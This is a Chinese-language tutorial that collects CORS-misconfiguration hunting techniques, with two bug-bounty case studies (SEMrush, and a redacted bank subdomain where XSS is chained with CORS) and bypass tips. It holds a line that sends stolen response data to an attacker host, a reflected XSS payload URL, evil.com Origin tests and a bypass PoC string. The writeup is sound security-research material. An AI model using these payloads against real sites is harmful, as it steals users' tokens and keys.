CORS配置不当—挖掘技巧及实战案例全汇总

  • 2019 年 10 月 10 日
  • 筆記

1、概念

CORS,即跨源资源共享(Cross-Origin Resource Sharing)。同源策略(Same OriginPolicy)要求不同源之间是无法通信的,而CORS则是放宽同源策略以通过浏览器实现网站之间通信的机制。

通常系统通过配置HTTP响应头来允许发出跨域请求,如下Example1发送一个Origin头,Example2以一个Access Control Allow Origin头响应,然后Example1便可以对Example2的数据进行操作:

2、漏洞原理

CORS配置不当通常会导致的危害是用户敏感信息泄露,场景大多数是get请求方式返回的json形式的敏感信息(密钥、token,key等)。CORS配置不当属于响应头中的一种,其他还有X-Frame-Options、Content-Security-Policy等。漏洞利用成功的前提是,两个返回头必须为:Access-Control-Allow-Origin:https://evil.com

Access-Control-Allow-Credentials:true

3、实战案例

1) SEMrush CORS misconfig

访问semrush的一个api端点,插入Origin头为攻击者服务器:

返回信息主体是用户敏感信息,需注意的是返回的Access-Control-Allow-Origin是攻击者服务器,这意味着系统存在CORS配置错误。

下一步,构造HTML文件,诱使受害者点击:

点击后,界面将弹出受害者敏感信息:

修改一下reqListener()函数为

location='//atttacker.net/log?key='+this.responseText;将把敏感数据发到攻击者服务器。

2)redacted子域XSS+ CORSmisconfig

和上面的案例类似,只是Origin接受的是redacted和子域:Origin:evil.redacted.com,要利用这个漏洞,必须在子域中寻找一个xss漏洞,结合xss发起请求,最终在banques.redacted.com发现xss:

https://banques.redacted.com/choice-quiz?form_banque=“> <script> alert(document.domain)</script>&form_cartes= 73&iframestat= 1,将alert事件替换为CORS请求:

最终poc为:

成功获取到敏感数据:

4、挖掘及绕过

1)挖掘思路

查看是否存在get请求的json形式敏感信息,在请求头中添加任意Origin值,如https://evil.com,查看返回头是否返回:Access-Control-Allow-Origin:https://evil.com和Access-Control-Allow-Credentials:true,若返回,则构造poc.html进行跨域读取数据。

2)绕过手段

绕过通常使用如下poc:

http://www.target.local{.<your-domain>/cors-poc

绕过原理不做详解,可阅读原文下载pdf自行研究,只要利用姿势正确,任何漏洞都可能成为高危漏洞。